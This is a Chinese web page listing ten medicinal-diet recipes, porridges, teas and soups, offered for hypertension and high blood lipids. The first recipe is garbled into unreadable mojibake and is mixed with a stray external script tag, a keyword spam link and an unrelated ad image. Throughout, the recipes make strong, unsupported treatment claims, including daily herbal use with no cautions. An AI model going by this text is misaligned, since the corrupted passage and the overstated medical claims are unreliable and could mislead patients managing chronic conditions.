专家提供的降脂降压药膳
下面是河南中医学院一附院食料营养科主任营养师王惠琴为高血压、高血脂患者提供的降脂降压药膳 ——
?script type='text/javascript' src='http://www.368tea.com/js/v.js'>保介咸溃合噬介担翱恕⒍希保担翱恕＝介⒍狭で衅铀柿考逯螅泻螅保捣种樱〕鲋海由倭堪滋且咳找患痢?a href=http://www.368tea.com/html/11/ id=kw target=_blank>功效：降脂、降压、减肥，常饮此汤有显著降血脂作用。
２．木耳山楂粥：木耳１０克，山楂３０克，粳米１００克。将木耳泡透洗净，与山楂、粳米同放砂锅内，加水适量，煮粥，待早餐空腹服食。功效：有抗血小板凝聚、降血脂和阻止血胆固醇沉积作用。
３．泽泻荷叶粥：泽泻２０克，鲜荷叶１张，粳米１００克。先将荷叶洗净，剪去蒂及边缘，泽泻研成细粉，细粉和粳米入锅，加水适量，将荷叶盖于水面上，先用旺火烧开，再转文火熬成稀粥，揭去荷叶，放入白糖适量调味，代早餐服食。功效：可降低甘油三酯，提高高密度脂蛋白的含量，抗心肌缺血、降压、降血糖等。
４．香菇首乌粥：取香菇５０克，何首乌２５克，粳米１００克。姜、香菇洗净掰碎，何首乌研为细末，与粳米入锅，加水适量，文火煮为稀粥，待早餐服用。功效：对心血管疾病、高血压、高血脂、动脉硬化有效。
５．灵芝炖猪蹄：灵芝１５克，猪蹄１只，料酒、精盐、味精、葱段、姜片、植物油各适量。制作：将猪蹄去毛洗净，灵芝切片。锅内放油烧热，入葱、姜煸香，放入猪蹄、水、料酒、灵芝，用武火烧开，再改用文火炖至猪蹄烂熟，加盐、味精调味，吃猪蹄喝汤，每日一剂。功效：对心血管疾病，如冠心病、高血压、高血脂症等有良效。
６．荷叶茶：干荷叶９克（鲜者３０克）。将干荷叶搓碎，（鲜者切碎）煎水代茶频饮。功效：适用于高脂血症、高血压、肥胖症等。
７．降脂减肥茶原料：干荷叶６０克，生山楂、生苡米各１０克，花生叶１５克，橘皮１５克，茶叶６０克。上药共为细末，沸水冲泡代茶饮。功效：醒脾化湿，降脂减肥。
８．荷叶泥鳅汤原料：荷叶５０克，泥鳅１５０克，豆腐１００克。制作：上述三者文火同炖，调味即可。功效：补益脾胃，清热降脂。
９．海带绿豆粥：水发海带１００克、绿豆５０克、清水５００毫升制作：煮粥日服１至２碗。功效：对高血脂、高血压、痰热蕴盛者有效。
１０．芹菜饮：取芹菜下部茎约１０厘米连根２０枚，洗净，加水５００毫升，煎取２００毫升为头汁内服。同法煎取二汁。空腹服最佳，或打芹菜汁１～２杯，有助于降压、降脂。
补充：除上述药膳外，海带炖豆腐，海带烧千张，海带拌三丝（海带、黄花菜、笋丝），海带木耳羹，苦瓜拌海带等都有降脂作用。每日食清炒（或凉拌）洋葱１００克，可降脂降压。木耳烧豆腐（配胡萝卜片）可降血黏度。
![展会现场以及网上[展位]预订系统并提供后期2D动态网上展厅](http://368tea.com/attachments/2011/10/1_201110250913521GgOb.thumb.jpg)
